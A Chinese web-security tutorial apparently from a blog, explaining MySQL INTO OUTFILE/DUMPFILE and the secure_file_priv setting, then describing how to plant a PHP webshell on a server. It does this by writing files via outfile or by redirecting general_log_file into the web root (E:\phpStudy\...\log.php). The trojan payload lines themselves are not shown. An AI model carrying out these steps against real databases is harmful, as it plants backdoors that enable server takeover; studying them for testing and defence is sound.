点我

所用函数

outfile

在select语句中,into xxx outfile参数可以将查询结果导出保存在文本文档中

例如:


有错误信息,观察提示信息

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
MySQL服务器使用--secure file priva选项运行,因此无法执行此语句

secure_file_priv

secure_file_priv参数为限制数据导入和导出操作,该参数有三个值

参数说明
secure_file_priv = null不允许导入导出操作
secure_file_priv = /tmp/(文件路径)只允许在该路径下完成导入导出操作
secure_file_priv = 空允许导入导出操作

查看当前参数值
show variables like '%secure_file_priv%';

在MySQL配置文件中修改值(如果没有则可以在mysqld下面直接添加)

修改配置后进行服务重启,重启后再次查看该参数值

执行上次的导出命令,发现显示上次一样的问题

再次将参数修改为空

再次执行导出权限,则执行成功

dumpfile

dumpfile参数也可以导出文件

区别

  • outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。
  • dumpfile只能写一行,并且输出中不存在任何格式。

outfile写入WebShell

利用场景

  • 知道网站的绝对路径
  • root或管理员,有写入权限
  • secure_file_priv参数值为空或网站根路径
  • GPC或魔术引号关闭

漏洞复现
1、查询secure_file_priv参数值
show variables like '%secure_file_priv%';

2、使用outfile写入webshell

日志写入WebShell

1、查询当前mysql下的log日志存储路径
show variables like '%general%';

2、将日志功能开启
set global general_log = on;

3、将log日志路径修改为已知并可访问的路径
set global general_log_file = 'E:\phpStudy\PHPTutorial\WWW\log.php';

4、查询“一句话木马”

5、访问日志存储路径

分类: WEB安全

评论

-- 评论已关闭 --

目录